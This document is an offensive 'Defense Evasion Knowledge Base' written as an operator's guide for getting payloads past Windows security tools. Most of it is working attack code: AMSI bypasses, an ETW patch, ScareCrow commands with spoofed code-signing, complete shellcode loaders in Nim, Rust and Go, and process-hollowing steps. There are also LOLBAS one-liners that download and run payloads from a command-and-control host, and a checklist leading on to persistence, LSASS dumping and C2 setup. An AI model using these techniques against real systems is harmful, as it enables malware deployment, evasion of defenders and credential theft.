Defense Evasion

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

MITRE ATT&CK Mapping

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

• .NET assembly load events (used by EDR to detect execute-assembly)
• PowerShell ScriptBlock logging
• Process creation events via ETW providers
• Network connection telemetry from userland

ETW OPSEC Notes

• Patch BEFORE loading any tools or assemblies
• Some EDRs monitor EtwEventWrite integrity --- pair with unhooking
• Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches
• Consider patching NtTraceEvent as well for deeper coverage

3. ScareCrow Framework

Overview

ScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates.

Basic Payload Generation

# Generate EDR-evasive loader with AES-encrypted shellcode
ScareCrow -I implants/shellcode.bin \
    -Loader binary \
    -domain microsoft.com \
    -encryptionmode AES \
    -o implants/evasive_payload.exe

# DLL output (for sideloading)
ScareCrow -I implants/shellcode.bin \
    -Loader dll \
    -domain microsoft.com \
    -encryptionmode AES \
    -o implants/evasive_payload.dll

# Control process for injection
ScareCrow -I implants/shellcode.bin \
    -Loader binary \
    -domain microsoft.com \
    -injection "C:\\Windows\\System32\\notepad.exe" \
    -encryptionmode AES \
    -o implants/injected_payload.exe

ScareCrow Features

Code Signing Spoofing

# Spoof Microsoft code signing cert
ScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe

# Spoof any vendor
ScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe

# How it works:
# 1. Fetches the real SSL certificate from the target domain
# 2. Creates a self-signed certificate using the same subject/issuer fields
# 3. Signs the binary with this spoofed certificate
# 4. Many EDRs only check if a cert is present, not full chain validation

4. Custom Loaders

All loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread.

Nim Shellcode Loader

# Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim
import winim/lean

const encShellcode: array[N, byte] = [ # <ENCRYPTED_SHELLCODE_BYTES> ]
const key: array[16, byte] = [ # <KEY_BYTES> ]

proc main() =
    var shellcode = newSeq[byte](encShellcode.len)
    for i in 0..<encShellcode.len:
        shellcode[i] = encShellcode[i] xor key[i mod key.len]
    let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
    copyMem(mem, unsafeAddr shellcode[0], shellcode.len)
    var oldProtect: DWORD
    VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect)
    WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE)
main()

Rust Shellcode Loader

// Build: cargo build --release --target x86_64-pc-windows-gnu
#![windows_subsystem = "windows"]
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;

const ENC_SC: &[u8] = &[ /* <ENCRYPTED_SHELLCODE_BYTES> */ ];
const KEY: &[u8] = &[ /* <KEY_BYTES> */ ];

fn main() {
    let sc: Vec<u8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect();
    unsafe {
        let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());
        let mut op: u32 = 0;
        VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op);
        WaitForSingleObject(
            CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()),
            0xFFFFFFFF);
    }
}

Go Shellcode Loader

// Build: GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui" go_loader.go
package main
import ("syscall"; "unsafe")

var encSC = []byte{ /* <ENCRYPTED_SHELLCODE_BYTES> */ }
var key = []byte{ /* <KEY_BYTES> */ }

func main() {
    sc := make([]byte, len(encSC))
    for i := range encSC { sc[i] = encSC[i] ^ key[i%len(key)] }
    k32 := syscall.MustLoadDLL("kernel32.dll")
    addr, _, _ := k32.MustFindProc("VirtualAlloc").Call(0, uintptr(len(sc)), 0x3000, 0x40)
    syscall.MustLoadDLL("ntdll.dll").MustFindProc("RtlCopyMemory").Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
    t, _, _ := k32.MustFindProc("CreateThread").Call(0, 0, addr, 0, 0, 0)
    k32.MustFindProc("WaitForSingleObject").Call(t, 0xFFFFFFFF)
}

Loader OPSEC Comparison

5. Direct & Indirect Syscalls

Concept

Syscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling NtAllocateVirtualMemory through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN).

Direct Syscalls

Normal API Call Flow (hooked by EDR):
  Code → kernel32.dll → ntdll.dll [HOOKED] → syscall

Direct Syscall Flow (bypasses hooks):
  Code → syscall instruction (SSN resolved at runtime)

Indirect Syscalls

Indirect Syscall Flow (stealthier):
  Code → jump to 'syscall' instruction inside ntdll.dll
  (Return address points to ntdll.dll, not our code)

Advantage: Call stack looks legitimate to EDR stack inspection

SSN Resolution Methods

Tools

# SysWhispers3 — generate syscall stubs
python3 syswhispers.py --preset common -o syscalls/

# Output: syscalls.h, syscalls.c, syscalls-asm.x64.asm
# Integrate into C/C++ loader project

6. LOLBAS (Living Off the Land Binaries and Scripts)

mshta.exe (T1218.005)

# Execute HTA payload
mshta.exe http://<C2_HOST>/payload.hta

# Inline VBScript execution
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -f \\<C2>\share\payload.ps1"", 0:close")

# OPSEC: mshta.exe spawning child processes is heavily monitored

certutil.exe (T1140)

# Download file (encoded transfer)
certutil.exe -urlcache -split -f http://<C2_HOST>/payload.exe C:\Windows\Temp\payload.exe

# Base64 decode a payload
certutil.exe -decode C:\Windows\Temp\encoded.b64 C:\Windows\Temp\payload.exe

# OPSEC: certutil network connections are high-fidelity alerts

rundll32.exe (T1218.011)

# Execute DLL export
rundll32.exe payload.dll,EntryPoint

# Execute JavaScript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc")

# Execute via URL (DLL from SMB)
rundll32.exe \\<C2_HOST>\share\payload.dll,Start

regsvr32.exe (T1218.010)

# Execute SCT file (Squiblydoo)
regsvr32.exe /s /n /u /i:http://<C2_HOST>/payload.sct scrobj.dll

# Local SCT execution
regsvr32.exe /s /n /u /i:C:\Windows\Temp\payload.sct scrobj.dll

# OPSEC: regsvr32 loading scrobj.dll is a well-known detection signature

LOLBAS OPSEC Summary

7. Process Injection

Process Hollowing (T1055.012)

Process Hollowing Steps:
1. Create target process in SUSPENDED state
   CreateProcessW("svchost.exe", ..., CREATE_SUSPENDED)

2. Unmap the original executable image
   NtUnmapViewOfSection(hProcess, pImageBase)

3. Allocate memory at the original base address
   VirtualAllocEx(hProcess, pImageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

4. Write malicious PE image into allocated memory
   WriteProcessMemory(hProcess, pImageBase, maliciousPE, imageSize)

5. Update thread context to point to new entry point
   SetThreadContext(hThread, &context)

6. Resume the suspended thread
   ResumeThread(hThread)

Common Injection Targets

Injection OPSEC

• Parent-child relationship: svchost.exe must have services.exe as parent
• Memory permissions: Avoid RWX; use RW for write, then change to RX
• Unbacked memory: EDRs flag executable memory not backed by a file on disk
• Thread creation: CreateRemoteThread is heavily monitored; prefer APC injection
• Call stack: Must look legitimate; use indirect syscalls for API calls

8. Tools & Resources

9. Detection Signatures

10. Decision Gate

Defense Evasion Complete --- Next Steps

Defenses Bypassed (AV/EDR/AMSI/ETW neutralized)
│
├──→ Execution
│    - Run payload/implant on target
│    - Execute post-exploitation tooling
│    - Load C2 agent in memory
│
├──→ Persistence
│    - Scheduled tasks with evasive payloads
│    - Registry-based persistence (Run keys)
│    - DLL sideloading in legitimate app directories
│    - COM object hijacking
│
├──→ Credential Access
│    - LSASS dump (with EDR bypassed)
│    - SAM extraction
│    - Kerberoasting / AS-REP roasting
│
└──→ C2 Channel Establishment
     - Deploy implant with evasion features
     - Confirm callback through redirector
     - Set jitter and sleep obfuscation

Pre-Execution Checklist

• AMSI bypassed in target PowerShell/CLR context
• ETW patched to prevent assembly load telemetry
• Payload tested against target's AV/EDR stack (or equivalent)
• Custom loader compiled and signed (spoofed cert)
• Injection target process identified and validated
• Backup evasion technique prepared (if primary is burned)
• OPSEC review: no test artifacts left on target

11. Output Files

./
├── implants/
│   ├── evasive_payload.exe        # ScareCrow-generated payload
│   ├── evasive_payload.dll        # DLL variant for sideloading
│   └── shellcode.bin              # Raw shellcode input
├── loaders/
│   ├── nim_loader.nim             # Nim custom loader source
│   ├── rust_loader/               # Rust loader project
│   └── go_loader.go              # Go loader source
├── syscalls/
│   ├── syscalls.h                 # SysWhispers3 output
│   ├── syscalls.c                 # Syscall implementations
│   └── syscalls-asm.x64.asm       # Assembly stubs
└── evasion_test_results.md        # AV/EDR test outcomes

Bundled Resources

References

• references/amsi-bypass-techniques.md — AMSI architecture, memory patching (AmsiScanBuffer), hardware breakpoints, reflection bypasses, ETW patching, detection vectors, layered bypass approach. Read when selecting AMSI/ETW bypass technique for target environment.